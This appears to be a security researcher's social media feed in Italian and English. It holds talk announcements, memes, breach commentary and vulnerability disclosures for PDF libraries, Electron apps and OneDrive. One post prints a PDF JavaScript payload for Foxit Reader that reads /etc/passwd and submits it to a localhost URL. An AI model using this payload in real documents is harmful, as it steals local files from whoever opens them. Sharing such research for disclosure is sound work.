Sign in

NON-TOXICNo ads · No shady algorithms

iiinova is part of the Atmosphere — an open, public network where you own your identity.

Evariste

@evaristegal0is.eurosky.social
570 followers 251 following 812 posts

🏳️‍🌈🦄 don't drink and root 🦄🏳️‍🌈 uccidiamo i mostri sacri

PostsRepliesMedia
Evariste @evaristegal0is.eurosky.social · 26/05/2026
I got feedback from Dublin BSides attenders, and I am officially good at making jokes in my non-native language :)
Three feedback, 5/5 stars. Two comments left: " Great speaker and humour:) " and " Fantastic talk, proper technical demo, really core to the bsides ethos. More such talks needed."
030 3
Evariste @evaristegal0is.eurosky.social · 10/04/2026
This technique is similar to a payload I wrote 2/3 years ago for Foxit Reader, but it works better on Adobe Reader lol I am surprised it was not exploited earlier
<<
  % Foxit Reader 11.1.2 App Store
  /Type /Action
  /S /JavaScript
  /JS (
    try {
      var test = this.importTextData("/etc/passwd", 0);
      i = 0;
      while (test == 0) {
        i++;
        var k = this.getField('##').value;
        test = this.importTextData("/etc/passwd", i);
        k += this.getField('##').value;
        this.getField('##').value = k;
      }
      this.submitForm\("http://localhost:1337/post-test", false, true, []\);
      this.getField('##').value = '';
    } catch \(e\) {
       app.alert\("ERROR: " + e\);
    }
  )
>>
100 1
Evariste @evaristegal0is.eurosky.social · 15/02/2026
ormai la moderazione è stata completamente abbandonata; questi sono i suggerimenti su google, non l'ultimo degli arrivati, palese black seo. (no, non gioco d'azzardo, nemmeno occasionalmente, non ho seguo il calcio o gli sport in generale, potrebbe essere basato sulla posizione ma mi pare strano)
240 4
Evariste @evaristegal0is.eurosky.social · 05/01/2026
Però ChatGPT è arrivato solo a tardo 2022 (Nov.), StackOverflow era malato da tempo.
Il grafico mostra come le nuove domande su StackOverflow siano praticamente a zero. Con una rapida decrescita a partire dal 2017. E una accelerata a partire dal 2023 con l'avvento degli LLMs.
100 1
Evariste @evaristegal0is.eurosky.social · 26/12/2025
1. github.com/pymupdf/PyMu... 2. github.com/pdfcpu/pdfcp... Path traversal in font extraction via font name
Screenshot of PyMuPDF code that shows a path traversal in font extractionScreenshot of pdfcpu code that shows a path traversal in font extraction
100 1
Evariste @evaristegal0is.eurosky.social · 12/12/2025
Feels like CVE-2025-64512 is underrated. It can literally be used to run arbitrary code in markitdown (84k ⭐️ on GitHub) and other projects, ingesting a crafted file. github.com/luigigubello...
031 3
Evariste @evaristegal0is.eurosky.social · 11/12/2025
Io non scherzavo mica ieri, ho riso moltissimo per sto meme (la coda invece la possono vedere pochi fortunati)
Foto di un paio di orecchiette da gatto da indossare, un collarino con campanello, e guanti a zampa di gatto
020 2
Evariste @evaristegal0is.eurosky.social · 22/10/2025
My cat died today. His name was Cosimo Frattini: Cosimo in honor of Italo Calvino's "The Baron in the Trees", and Frattini in honor of the Italian mathematician Giovanni Frattini. This day sucks.
370 7
Evariste @evaristegal0is.eurosky.social · 20/10/2025
Simpsons meme "Old man yells at cloud" with Simpsons grandpa. The cloud is the AWS logo.
070 7
Evariste @evaristegal0is.eurosky.social · 14/09/2025
meme "change my mind": hollow knight is a soulsvania, not a metroidvania. Change my mind.
020 2
Evariste @evaristegal0is.eurosky.social · 03/07/2025
[🧵 short] This is an RCE in the Granola app for macOS, I found in December 2024 (patched). Every time I have an Electron-based app that integrates AI, I am quite confident that developers trust AI output, because AI is not a user (untrusted input), but if you act like a user, you are a user. 1/
121 2
Evariste @evaristegal0is.eurosky.social · 03/07/2025
Feel free to have fun and report this to Microsoft (user-interaction required, XSS in OneDrive using Firefox)
021 2
Evariste @evaristegal0is.eurosky.social · 26/06/2025
See you in Kraków to talk about a niche topic: PDF, web applications, and JavaScript injections! :)
Security Bsides Kraków 2025 - September  27th
100 1
Evariste @evaristegal0is.eurosky.social · 16/06/2025
Ogni volta che si utilizza un'analogia militare per la sicurezza informatica, un pezzettino di me muore, sono praticamente uno zombie ormai
Titolo di un articolo del Corriere: "Cybersecurity, la «trincea» italiana è a Modena: così Certego anticipa gli attacchi nella guerra informatica"
030 3
Evariste @evaristegal0is.eurosky.social · 18/04/2025
non mi resta che memare oramai
Meme "Hello old friend" dove un utente mette via il suo cappello da pirata con scritto "VPN" perché nel 2012 PornHub era sdoganato, ma lo riprende nel 2025 perché l'AGCOM ha stabilito che bisogna controllare l'età sui contenuti per adulti.
001 1
Evariste @evaristegal0is.eurosky.social · 13/04/2025
Meme dell'oca che insegue l'umano facendo notate che la propaganda e la disinformazione coordinata sui social network sono spesso ad opera di entità statali e filogovernative. Questo rendere la richiesta di documenti per le identità online completamente inutili.
000 0
Evariste @evaristegal0is.eurosky.social · 29/03/2025
Siamo live!
Foto del logo di Bsides Sofia
130 3
Evariste @evaristegal0is.eurosky.social · 28/02/2025
Simpson meme. "World with USA". People from every country happy together during a sunny day.
020 2
Evariste @evaristegal0is.eurosky.social · 18/02/2025
www.ilpost.it/2025/02/18/a...
Meme dell'oca che insegue un umano arrabbiata. Prima scena: "La Alf DaFrè ha investito molto in sicurezza anche informatica, eppure in questo caso non è stato sufficiente". Seconda scena, in cui l'oca rincorre arrabbiata un umano: "DÌ QUANTO! ESPLICITA QUANTO HANNO INVESTITO IN SICUREZZA INFORMATICA! IL SALARIO DEGLI INFORMATICI!"
020 2
Evariste @evaristegal0is.eurosky.social · 03/02/2025
What I know until now: - On 9th Dec, a data leak was shared on the XSS forum, apparently the entire AWS infrastructure was compromised [1]; - On 12th Dec, Arduino communicated "no evidence that the incident can result in harm to the security of our Arduino Web and Cloud services" [2]
Screenshot of a blog post titled: A Threat Actor Claims to have Leaked the Data of Arduino.Screenshot of the Arduino Security bulletin, where they communicate: "no evidence that the incident can result in harm to the security of our Arduino Web and Cloud services".
110 1
Evariste @evaristegal0is.eurosky.social · 03/02/2025
🧵 [1/2] If you are an Arduino customer and use their online service, you should probably know that it could be compromised - but I am waiting for official updates. Arduino sent an e-mail today communicating they are rotating *all* the IoT devices' credentials, for all customers.
Dear Arduino User, 

 

We’re reaching out to you because you have one or more Internet-of-Things (IoT) devices connected to Arduino Cloud that require a mandatory update.

 

In order to continue to ensure a reliable and secure connection between your IoT devices and Arduino Cloud, we need you to update the security credentials stored on your IoT devices that connect using a Secure Element. This update is essential to ensure your devices can continue to connect to our MQTT broker.
121 2
Evariste @evaristegal0is.eurosky.social · 03/02/2025
List of muted words in Bsky: trump, doge, musk, and elon.
120 2
Evariste @evaristegal0is.eurosky.social · 28/01/2025
Q: Ciao, giornalismo italiano, come te la passi? A: Bene, dai, "intervisto" large language models e pubblico questa "intervista" dietro paywall. L'informazione è finita, morta, non vedo davvero speranza.
Screenshot di un articolo di Repubblica, intitolato: "La nostra intervista a DeepSeek: 'Il Covid? Pechino non collabora.' Ma subito dopo scatta la censura"
2122 12
Evariste @evaristegal0is.eurosky.social · 19/01/2025
"Always has been" meme
- wait bluesky is the new twitter
- always has been
040 4
Evariste @evaristegal0is.eurosky.social · 15/01/2025
Magari hanno ragione, ma - almeno nel mio lavoro - gli imprevisti, e gli incidenti, me li aspetto statisticamente dal lunedì al venerdì dalle 9:00 alle 17:00, cioè esattamente quando ci sono più eventi legittimi che accadono sull'infrastruttura. E non con origine dolosa.
Dal giornale Il Corriere. Il gruppo FS (ferrovie) fa sapere che "In particolare gli orari in cui si sono verificati alcuni problemi (non può essere un caso che si tratti di quelli più complicati per la circolazione ferroviaria, con ricadute pesanti su tutta la rete), il tipo di guasti e la loro frequenza stanno destando più di qualche interrogativo".
222 2
Evariste @evaristegal0is.eurosky.social · 04/01/2025
What should happen in your browser if you open this HTML file locally? 1. The browser blocks the script 2. The browser loads the script 3. Browsers, except Safari, block the script
HTML code to test Content-Security-Policy
010 1
Evariste @evaristegal0is.eurosky.social · 29/11/2024
LOL
M5S, Grillo non si fida del voto online: “Voglio un’altra società che controlli”
3111 11
Evariste @evaristegal0is.eurosky.social · 28/11/2024
🚨 At least 143 high-value phishing domains were registered in the last two months by the actor leonidbo4kariev@gmail.com. All the domains were registered on the registrar GMO Internet Group. These domains have multiple subdomains. They are not detected on VT. List: viewdns.info/reversewhois...
Phishing domains listPhishing domains listPhishing domains listPhishing domains list
000 0
Evariste @evaristegal0is.eurosky.social · 25/11/2024
PDF is not a static format, even in your browser; and for AI SaaS? 👀
011 1
Evariste @evaristegal0is.eurosky.social · 17/11/2024
Post a pic YOU took (no description) to bring some zen to the timeline
Hilly landscape overlooking the gulf of Trieste
120 2
Evariste @evaristegal0is.eurosky.social · 18/03/2024
Each deprecated or unmaintained project should be assigned a specific critical CVE ID by default. Change my mind.
Each deprecated or unmaintained project should be assigned a specific critical CVE ID by default. Change my mind.
000 0